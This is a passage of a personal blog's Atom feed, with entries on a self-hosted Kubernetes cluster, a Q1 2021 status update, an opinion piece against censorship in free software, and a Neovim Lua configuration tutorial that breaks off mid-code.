href=&#34;https://github.com/distribution/distribution&#34; rel=&#34;nofollow&#34;&gt;registry&lt;/a&gt;: Container&#xA;registry&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/nkanaev/yarr&#34; rel=&#34;nofollow&#34;&gt;yarr&lt;/a&gt;: RSS reader&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/icyphox/fsrv&#34; rel=&#34;nofollow&#34;&gt;fsrv&lt;/a&gt;: File host service&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://znc.in&#34; rel=&#34;nofollow&#34;&gt;znc&lt;/a&gt;: IRC bouncer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;m in the process of moving &lt;a href=&#34;https://pleroma.social&#34; rel=&#34;nofollow&#34;&gt;Pleroma&lt;/a&gt; and&#xA;&lt;a href=&#34;https://github.com/epoupon/lms/&#34; rel=&#34;nofollow&#34;&gt;lms&lt;/a&gt; to the cluster. I&amp;rsquo;m still&#xA;figuring out cgit.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;closing-notes&#34;&gt;closing notes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;That was a lot! While it&amp;rsquo;s fun, it certainly feels like a house of&#xA;cards, especially given that I&amp;rsquo;m running this on very low resource&#xA;machines. There&amp;rsquo;s about 500 MB of RAM free on the Oracle boxes, and about&#xA;2.5 GB on the Pi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All things said, it&amp;rsquo;s not terribly hard to run a multi-arch cluster,&#xA;especially if you&amp;rsquo;re running arm64 + amd64. Most common tools have&#xA;multi-arch images now. It&amp;rsquo;s just somewhat annoying in my case&amp;mdash;pods&#xA;using using a PVC can&amp;rsquo;t run on my Pi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I glossed over a bunch of issues that I faced: broken cluster&#xA;DNS, broken pod networking, figuring out how to expose the load&#xA;balancer, etc. Countless hours (after the 4 days off) had to be spent&#xA;solving these. If I had a penny for every time I ran &lt;code&gt;kubeadm reset&lt;/code&gt;,&#xA;I&amp;rsquo;d be Elon Musk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether this cluster is sustainable or not, is to be seen. However, it&#xA;is quite nice to have your entire infrastructure configured in a single&#xA;place: &lt;a href=&#34;https://github.com/icyphox/infra&#34; rel=&#34;nofollow&#34;&gt;https://github.com/icyphox/infra&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/code/infra&#xA;▲ k get nodes&#xA;NAME STATUS ROLES AGE VERSION&#xA;fern Ready control-plane,master 7d11h v1.21.1&#xA;jade Ready &amp;lt;none&amp;gt; 7d11h v1.21.1&#xA;leaf Ready &amp;lt;none&amp;gt; 7d11h v1.21.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;No, this is not an advertisement. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:2&#34;&gt;I hate systemd with such passion. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:2&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&lt;a href=&#34;https://toot.icyphox.sh/notice/A8NOeVqMBsgu5DWLZ2&#34; rel=&#34;nofollow&#34;&gt;https://toot.icyphox.sh/notice/A8NOeVqMBsgu5DWLZ2&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:3&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Status update</title>
<updated>2021-05-10T00:00:00Z</updated>
<id>tag:icyphox.sh/,2021-05-10:blog/2021-05-10</id>
<link href="https://icyphox.sh/blog/2021-05-10"></link>
<summary type="html">&lt;h2&gt;A review of Q1 2021&lt;/h2&gt;&#xA;&lt;p&gt;I realize I haven&amp;rsquo;t done one of these in a while, a few &amp;hellip;&#xA;status-update-worthy things have piled up. Bangalore is currently in a&#xA;lockdown after ranking in the top 3 worst COVID-hit cities, in India. As&#xA;such, I&amp;rsquo;m sitting at home, in my home-office thing which now has an&#xA;extra monitor, writing this. We&amp;rsquo;ve got a lot to talk about&amp;mdash;let&amp;rsquo;s get&#xA;to it!&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;working-at-deepsource&#34;&gt;working at DeepSource&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Starting January of this year, I&amp;rsquo;ve been working as a Site Reliability&#xA;Engineer at &lt;a href=&#34;https://deepsource.io&#34; rel=&#34;nofollow&#34;&gt;DeepSource&lt;/a&gt;. As a Kubernetes shop,&#xA;nearly all of my day to day work involves working with Kubernetes. I&#xA;didn&amp;rsquo;t think I&amp;rsquo;d say this, but I actually quite like using K8s now. The&#xA;more I understand it, the more I find myself appreciating the need for&#xA;it. Of course, I wasn&amp;rsquo;t around for the initial setup of everything&amp;mdash;I&amp;rsquo;m merely enjoying using an already stable cluster environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I&amp;rsquo;ve set up an event-driven observability pipeline (pictured&#xA;below), some infosec work and the usual SRE stuff. I&amp;rsquo;ll probably write&#xA;about the observability infrastructure in detail sometime&amp;mdash;perhaps on&#xA;the company blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/vgPL9.png&#34; alt=&#34;deepsource observability infra&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even managed to break prod within the first month! But in all&#xA;seriousness, it&amp;rsquo;s pretty riveting work, with some very fun people.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;projects&#34;&gt;projects&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There haven&amp;rsquo;t been too many, I must be honest. I did briefly consider&#xA;the idea of building a small SaaS&amp;mdash;a simple email-based bookmarking&#xA;service. Send a bunch of links you want to bookmark to an email address,&#xA;and get back the entire webpage as a thread of emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got as far as writing the backend for it, at&#xA;&lt;a href=&#34;https://git.icyphox.sh/forlater/donkey&#34; rel=&#34;nofollow&#34;&gt;forlater/donkey&lt;/a&gt;&amp;mdash;a simple&#xA;Flask app that pulls web pages and sends an email, on a webhook. And a&#xA;helper tool &lt;a href=&#34;https://git.icyphox.sh/forlater/mdawh&#34; rel=&#34;nofollow&#34;&gt;forlater/mdawh&lt;/a&gt; in&#xA;Go that takes mail in STDIN and sends a webhook to an endpoint. I used&#xA;OpenSMTPD to call &lt;code&gt;mdawh&lt;/code&gt; when mail arrived. Overall, a pretty simple&#xA;system. Except, HTML email sucks. And the modern web sucks. I quickly&#xA;got bored of it&amp;mdash;dealing with websites not getting rendered correctly,&#xA;email delivery being pretty shit overall and the fact that nobody would&#xA;actually use something like this, let alone pay for it. Of course, I&#xA;could be wrong and someone looking for a service like this could be out&#xA;there&amp;mdash;and if they&amp;rsquo;re reading this, please &lt;a href=&#34;mailto:x@icyphox.sh&#34; rel=&#34;nofollow&#34;&gt;email&#xA;me&lt;/a&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I&amp;rsquo;m open to revisiting this project sometime. Perhaps with a&#xA;different use-case, even.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;reading&#34;&gt;reading&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In 2020, I began getting into the&#xA;&lt;a href=&#34;https://coppermind.net/wiki/Cosmere&#34; rel=&#34;nofollow&#34;&gt;Cosmere&lt;/a&gt;. I&amp;rsquo;ve read nearly all the&#xA;books in it, save for the &lt;em&gt;Mistborn&lt;/em&gt; series, which I&amp;rsquo;m reading at&#xA;present. Still in Era 1, having finished &lt;em&gt;The Final Empire&lt;/em&gt; and &lt;em&gt;The&#xA;Well of Ascension&lt;/em&gt;. I&amp;rsquo;m taking a break before I dive into &lt;em&gt;The Hero of&#xA;Ages&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from high fantasy reading, I&amp;rsquo;ve begun spending some time reading&#xA;the essays at &lt;a href=&#34;https://slatestarcodex.com&#34; rel=&#34;nofollow&#34;&gt;Slate Star Codex&lt;/a&gt;&amp;mdash;more&#xA;specifically, the selected few at&#xA;&lt;a href=&#34;https://www.slatestarcodexabridged.com&#34; rel=&#34;nofollow&#34;&gt;https://www.slatestarcodexabridged.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;learning-russian&#34;&gt;learning Russian&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;d begun learning Russian sometime last year, but stopped studying it&#xA;for about 6 months or so. Recently, I decided to pick it up again after&#xA;coming across this video by Johnny Harris on &lt;a href=&#34;https://www.youtube.com/watch?v=3i1lNJPY-4Q&#34; rel=&#34;nofollow&#34;&gt;how he learnt&#xA;Italian&lt;/a&gt;. In essence, he&#xA;talks about why the textbook method of learning a language, i.e., the&#xA;grammar: conjugations, rules, exceptions, etc. is ineffective. Instead,&#xA;he suggests starting with learning the 1000 most frequently used words&#xA;in that language which helps build an intuition for the language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ve found two decks from the &lt;a href=&#34;https://ankiweb.net/shared/decks/&#34; rel=&#34;nofollow&#34;&gt;publicly shared&#xA;decks&lt;/a&gt; to be really good:&#xA;&lt;a href=&#34;https://ankiweb.net/shared/info/1545956138&#34; rel=&#34;nofollow&#34;&gt;1000 frequently used words&lt;/a&gt;,&#xA;&lt;a href=&#34;https://ankiweb.net/shared/info/549290451&#34; rel=&#34;nofollow&#34;&gt;7000 sentences in order of&#xA;difficulty&lt;/a&gt;. This lets me 1)&#xA;learn the basics (vocabulary, sentence construction) and start applying&#xA;them in making my own sentences and learning the grammar intuitively,&#xA;instead of memorizing rules and conjugations.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;fitness&#34;&gt;fitness&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For a good portion of last year, I was unable to get any physical&#xA;exercise done&amp;mdash;gyms were closed, running downstairs just wasn&amp;rsquo;t fun.&#xA;Early this year, before wave 2 of the virus, the gyms here opened for a&#xA;brief bit and I managed to get some swole on. They&amp;rsquo;re closed again, now&#xA;but I&amp;rsquo;ve taken to running about 3 - 4 km everyday. It&amp;rsquo;s still quite&#xA;boring compared to lifting, but it needs to be done.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;that-s-it&#34;&gt;that&amp;rsquo;s it&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ve hit a writer&amp;rsquo;s block, so to speak, with this blog. I have a few&#xA;ideas for future posts, but they require actual research (read: I can&amp;rsquo;t&#xA;just pull up Vim and type away), so they will remain as ideas for now.&#xA;If you have some ideas for things I can write about, please shoot them&#xA;my way.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Free software should not censor</title>
<updated>2021-04-07T00:00:00Z</updated>
<id>tag:icyphox.sh/,2021-04-07:blog/free-sw-censor</id>
<link href="https://icyphox.sh/blog/free-sw-censor"></link>
<summary type="html">&lt;h2&gt;If you write free software, don&#39;t deny freedom zero&lt;/h2&gt;&#xA;&lt;p&gt;Any software is free, if it grants the users the four essential&#xA;freedoms:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;freedom 0&lt;/strong&gt;: The freedom to run the program as you wish, for any&#xA;purpose.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;freedom 1&lt;/strong&gt;: The freedom to study how the program works, and change&#xA;it so it does your computing as you wish&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;freedom 2&lt;/strong&gt;: The freedom to redistribute copies so you can help&#xA;others.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;freedom 3&lt;/strong&gt;: The freedom to distribute copies of your modified&#xA;versions to others.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Denying any one of these freedoms makes your software nonfree. As it&#xA;happens, some free software project maintainers think it&amp;rsquo;s OK to impose&#xA;their political / ideological stances on who can use their software, and&#xA;for what purpose it can be used. They are violating the zeroth freedom&#xA;to advance their political agendas. Here are a couple of examples.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;case-one-tusky&#34;&gt;case one: Tusky&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Tusky is a free software (GPL 3.0) Android client for the fediverse&amp;mdash;thematically, Mastodon. They &lt;a href=&#34;https://github.com/tuskyapp/Tusky/pull/1303&#34; rel=&#34;nofollow&#34;&gt;Rick Roll users who try to connect to&#xA;instances&lt;/a&gt; they disagree&#xA;with. You don&amp;rsquo;t get to decide for your users! And the irony here is its&#xA;a client for a supposedly censorship-resistant network. This is in&#xA;violation of freedom zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Funnily enough, Tusky recently got &lt;a href=&#34;https://chaos.social/@ConnyDuck/105904002285019275&#34; rel=&#34;nofollow&#34;&gt;removed from the Play&#xA;Store&lt;/a&gt; for serving&#xA;&amp;ldquo;objectionable content&amp;rdquo;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;They don&amp;rsquo;t seem to understand that one can view any content with Tusky&#xA;and that it is not possible for the app developers to check any of it.&#xA;-- &lt;a href=&#34;https://chaos.social/@ConnyDuck/105904015276457450&#34; rel=&#34;nofollow&#34;&gt;https://chaos.social/@ConnyDuck/105904015276457450&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A blatant lie! Doesn&amp;rsquo;t feel good when someone else decides things for&#xA;you, now, does it?&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;case-two-lemmy&#34;&gt;case two: Lemmy&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Also a fediverse application&amp;mdash;a federated Reddit clone (AGPL 3.0).&#xA;They have a &lt;a href=&#34;https://github.com/LemmyNet/lemmy/issues/622&#34; rel=&#34;nofollow&#34;&gt;hardcoded slur&#xA;filter&lt;/a&gt; that they refuse&#xA;to remove, or at the very least, make configurable. This is just plain&#xA;bad engineering for the sake of politics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these software are released under free software licenses, and&#xA;are clearly nonfree. Stop doing this&amp;mdash;it benefits nobody. You probably&#xA;feel like you&amp;rsquo;re &amp;ldquo;making a change&amp;rdquo;, but guess what: you&amp;rsquo;re not. It is&#xA;mere virtue signalling. Don&amp;rsquo;t enforce your political agendas on your&#xA;users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Censorship is bad for everyone, and it usually never ends well. There&#xA;is no &amp;ldquo;correct&amp;rdquo; way to censor&amp;mdash;so don&amp;rsquo;t even try! If you don&amp;rsquo;t want&#xA;your software to be &amp;ldquo;misused&amp;rdquo;, release it under a license that is&#xA;capable of enforcing that.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;Protip: you can&amp;rsquo;t. Ethical source licenses exist, but they&amp;rsquo;re practically dead in the water. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Configuring Neovim using Lua</title>
<updated>2021-02-07T00:00:00Z</updated>
<id>tag:icyphox.sh/,2021-02-07:blog/nvim-lua</id>
<link href="https://icyphox.sh/blog/nvim-lua"></link>
<summary type="html">&lt;h2&gt;And switching from init.vim to init.lua&lt;/h2&gt;&#xA;&lt;p&gt;If you, like me, never really understood Vimscript and hate the language&#xA;with a passion, you&amp;rsquo;re in the right place! You can now get rid of&#xA;Vimscript wholesale and replace it with a simpler, faster and elegant-er&#xA;language&amp;mdash;Lua! &lt;em&gt;However&lt;/em&gt;, this is only possible from Neovim 0.5&#xA;onwards&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; and as of now, requires you to install Neovim from HEAD. How&#xA;to do that is left as an exercise to the reader. Also bear in mind that&#xA;the Lua API is fairly beta right now, and many Vim things don&amp;rsquo;t have&#xA;direct interfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So assuming you&amp;rsquo;re now running Neovim &lt;code&gt;master&lt;/code&gt;, head over to&#xA;&lt;code&gt;~/.config/nvim&lt;/code&gt; and create your &lt;code&gt;init.lua&lt;/code&gt;. Why, yes, we&amp;rsquo;re porting&#xA;over your &lt;code&gt;init.vim&lt;/code&gt; to &lt;code&gt;init.lua&lt;/code&gt; right now! Clear your calendar for&#xA;the next few hours&amp;mdash;bikeshedding your text editor is top priority!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also recommend going through&#xA;&lt;a href=&#34;https://github.com/nanotee/nvim-lua-guide&#34; rel=&#34;nofollow&#34;&gt;nanotee/nvim-lua-guide&lt;/a&gt;&#xA;and &lt;a href=&#34;https://learnxinyminutes.com/docs/lua/&#34; rel=&#34;nofollow&#34;&gt;Learn Lua in Y minutes&lt;/a&gt;&#xA;before starting off.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-directory-structure&#34;&gt;the directory structure&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Lua files are typically under &lt;code&gt;~/.config/nvim/lua&lt;/code&gt;, and can be loaded as&#xA;Lua modules. This is incredibly powerful&amp;mdash;you can structure your&#xA;configs however you like.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-console&#34;&gt;$ tree .config/nvim&#xA;.&#xA;|-- ftplugin&#xA;| `-- ...&#xA;|-- init.lua&#xA;|-- lua&#xA;| |-- maps.lua&#xA;| |-- settings.lua&#xA;| |-- statusline.lua&#xA;| `-- utils.lua&#xA;`-- plugin&#xA; `-- ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The common approach is to have different&#xA;bits of your config in Lua files under &lt;code&gt;lua/&lt;/code&gt; and &lt;code&gt;require&lt;/code&gt;&amp;rsquo;d in your&#xA;&lt;code&gt;init.lua&lt;/code&gt;, so something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-lua&#34;&gt;-- init.lua&#xA;&#xA;require(&#39;settings&#39;) -- lua/settings.lua&#xA;require(&#39;maps&#39;) -- lua/maps.lua&#xA;require(&#39;statusline&#39;) -- lua/statusline.lua&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2 id=&#34;the-basics-setting-options&#34;&gt;the basics: setting options&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Vim has 3 kinds of options&amp;mdash;global, buffer-local and window-local. In&#xA;Vimscript, you&amp;rsquo;d just &lt;code&gt;set&lt;/code&gt; these. In Lua, however, you will have to&#xA;use one of&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;vim.api.nvim_set_option()&lt;/code&gt;&amp;mdash;global options&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;vim.api.nvim_buf_set_option()&lt;/code&gt;&amp;mdash;buffer-local options&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;vim.api.nvim_win_set_option()&lt;/code&gt;&amp;mdash;window-local options&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are fairly verbose and very clunky, but fortunately for us, we&#xA;have &amp;ldquo;meta-accesors&amp;rdquo; for these: &lt;code&gt;vim.{o,wo,bo}&lt;/code&gt;. Here&amp;rsquo;s an excerpt from&#xA;my &lt;code&gt;settings.lua&lt;/code&gt; as an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-lua&#34;&gt;local o = vim.o&#xA;local wo = vim.wo&#xA;local bo = vim.bo&#xA;&#xA;-- global options&#xA;o.swapfile = true&#xA;o.dir = &#39;/tmp&#39;&#xA;o.smartcase = true&#xA;o.laststatus = 2&#xA;o.hlsearch = true&#xA;o.incsearch = true&#xA;o.ignorecase = true&#xA;o.scrolloff = 12&#xA;-- ... snip ... &#xA;&#xA;-- window-local options&#xA;wo.number = false&#xA;wo.wrap = false&#xA;&#xA;-- buffer-local options&#xA;bo.expandtab = true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you&amp;rsquo;re not sure if an option is global, buffer or window-local,&#xA;consult the Vim help! For example, &lt;code&gt;:h &#39;number&#39;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#39;number&#39; &#39;nu&#39; boolean (default off)&#xA; local to window&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also note that you don&amp;rsquo;t set the negation of an option to true, like&#xA;&lt;code&gt;wo.nonumber = true&lt;/code&gt;, you instead set &lt;code&gt;wo.number = false&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;defining-autocommands&#34;&gt;defining autocommands&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, autocommands in Vim don&amp;rsquo;t have a Lua interface&amp;mdash;it is&#xA;being worked on.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; Until then, you will have to use&#xA;&lt;code&gt;vim.api.nvim_command()&lt;/code&gt;, or the shorter &lt;code&gt;vim.cmd()&lt;/code&gt;. I&amp;rsquo;ve defined a&#xA;simple function that takes a Lua table of &lt;code&gt;autocmd&lt;/code&gt;s as an argument, and&#xA;creates an &lt;code&gt;augroup&lt;/code&gt; for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-lua&#34;&gt;-- utils.lua&#xA;&#xA;local M = {}&#xA;local cmd = vim.cmd&#xA;&#xA;function M.create_augroup(autocmds, name)&#xA; cmd(&#39;augroup &#39; .. name)&#xA; cmd(&#39;autocmd!&#39;)&#xA; for _, autocmd in ipairs(autocmds) do&#xA; cmd(&#39;autocmd &#39; .. table.concat(autocmd, &#39; &#39;))&#xA; end&#xA; cmd(&#39;augroup END&#39;)&#xA;end&#xA;&#xA;return M&#xA;&#xA;-- settings.lua&#xA;local cmd = vim.cmd&#xA;local u = require(&#39;utils&#39;)&#xA;&#xA;u.create_augroup({&#xA; { &#39;BufRead,BufNewFile&#39;, &#39;/tmp/nail-*&#39;, &#39;setlocal&#39;, &#39;ft=mail&#39; },&#xA; { &#39;BufRead,BufNewFile&#39;, &#39;*s-nail-*&#39;, &#39;setlocal&#39;, &#39;ft=mail&#39; },&#xA;}, &#39;ftmail&#39;)&#xA;&#xA;cmd(&#39;au BufNewFile,BufRead * if &amp;amp;ft == &amp;quot;&amp;quot; | set ft=text | endif&#39;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2 id=&#34;defining-keymaps&#34;&gt;defining keymaps&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Keymaps can be set via &lt;code&gt;vim.api.nvim_set_keymap()&lt;/code&gt;. It takes 4&#xA;arguments: the mode for which the mapping will take effect, the key&#xA;sequence, the command to execute and a table of options (&lt;code&gt;:h&#xA;:map-arguments&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-lua&#34;&gt;-- maps.lua&#xA;&#xA;local map = vim.api.nvim_set_keymap&#xA;&#xA;-- map the leader key&#xA;map(&#39;n&#39;, &#39;&amp;lt;Space&amp;gt;&#39;, &#39;&#39;, {})&#xA;vim.g.mapleader = &#39; &#39; -- &#39;vim.g&#39; sets global variables&#xA;&#xA;&#xA;options = { noremap = true }&#xA;map(&#39;n&#39;, &#39;&amp;lt;leader&amp;gt;&amp;lt;esc&amp;gt;&#39;, &#39;:nohlsearch&amp;lt;cr&amp;gt;&#39;, options)&#xA;map(&#39;n&#39;, &#39;&amp;lt;leader&amp;gt;n&#39;, &#39;:bnext&amp;lt;cr&amp;gt;&#39;, options)&#xA;map(&#39;n&#39;, &#39;&amp;lt;leader&amp;gt;p&#39;, &#39;:bprev&amp;lt;cr&amp;gt;&#39;, options)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For user defined commands, you&amp;rsquo;re going to have to go the &lt;code&gt;vim.cmd&lt;/code&gt;&#xA;route:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-lua&#34;&gt;local cmd = vim.cmd&#xA;&#xA;cmd(&#39;:command! WQ wq&#39;)&#xA;cmd(&#39;:command! WQ wq&#39;)&#xA;cmd(&#39;:command! Wq wq&#39;)&#xA;cmd(&#39;:command! Wqa wqa&#39;)&#xA;cmd(&#39;:command! W w&#39;)&#xA;cmd(&#39;:command! Q q&#39;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2 id=&#34;managing-packages&#34;&gt;managing packages&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Naturally, you can&amp;rsquo;t use your favourite Vimscript package manager&#xA;anymore, or at least, not without &lt;code&gt;vim.api.nvim_exec&lt;/code&gt;ing a bunch of&#xA;Vimscript (ew!). Thankfully, there are a few pure-Lua plugin managers&#xA;available to use&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;&amp;mdash;I personally use, and recommend&#xA;&lt;a href=&#34;https://github.com/savq/paq-nvim/&#34; rel=&#34;nofollow&#34;&gt;paq&lt;/a&gt;. It&amp;rsquo;s light and makes use of&#xA;the &lt;a href=&#34;https://docs.libuv.org/en/v1.x/&#34; rel=&#34;nofollow&#34;&gt;&lt;code&gt;vim.loop&lt;/code&gt;&lt;/a&gt; API for async I/O.&#xA;paq&amp;rsquo;s docs are plentiful, so I&amp;rsquo;ll skip talking about how to set it up.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;bonus-writing-your-own-statusline&#34;&gt;bonus: writing your own statusline&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Imagine using a bloated, third-party statusline, when you can just write&#xA;your own.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34;&gt;4&lt;/a&gt;&lt;/sup&gt; It&amp;rsquo;s actually quite simple! Start by defining a table for&#xA;every mode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-lua&#34;&gt;-- statusline.lua&#xA;&#xA; local mode_map = {&#xA;&#x9;[&#39;n&#39;] = &#39;normal &#39;,&#xA;&#x9;[&#39;no&#39;] = &#39;n·operator pending &#39;,&#xA;&#x9;[&#39;v&#39;] = &#39;visual &#39;,&#xA;&#x9;[&#39;V&#39;] = &#39;v·line &#39;,&#xA;&#x9;[&#39;<EFBFBD>&#39;] = &#39;v·block &#39;,&#xA;&#x9;[&#39;s&#39;] = &#39;select &#39;,&#xA;&#x9;[&#39;S&#39;] = &#39;s·line &#39;,&#xA;&#x9;[&#39;<EFBFBD>&#39;] = &#39;s·block &#39;,&#xA;&#x9;[&#39;i&#39;] = &#39;insert &#39;,&#xA;&#x9;[&#39;R&#39;] = &#39;replace &#39;,&#xA;&#x9;[&#39;Rv&#39;] = &#39;v·replace &#39;,&#xA;&#x9;[&#39;c&#39;] = &#39;command &#39;,&#xA;&#x9;[&#39;cv&#39;] = &#39;vim ex &#39;,&#xA;&#x9;[&#39;ce&#39;] = &#39;ex &#39;,&#xA;&#x9;[&#39;r&#39;] = &#39;prompt &#39;,&#xA;&#x9;[&#39;rm&#39;] = &#39;more &#39;,&#xA;&#x9;[&#39;r?&#39;] = &#39;confirm &#39;,&#xA;&#x9;[&#39;!&#39;] = &#39;shell &#39;,&#xA;&#x9;[&#39;t&#39;] = &#39;terminal &#39;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The idea is to get the current mode from &lt;code&gt;vim.api.nvim_get_mode()&lt;/code&gt; and&#xA;map it to our desired text. Let&amp;rsquo;s wrap that around in a small &lt;code&gt;mode()&lt;/code&gt;&#xA;function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-lua&#34;&gt;-- statusline.lua&#xA;&#xA;local function mode()&#xA;&#x9;local m = vim.api.nvim_get_mode().mode&#xA;&#x9;if mode_map[m] == nil then return m end&#xA;&#x9;return 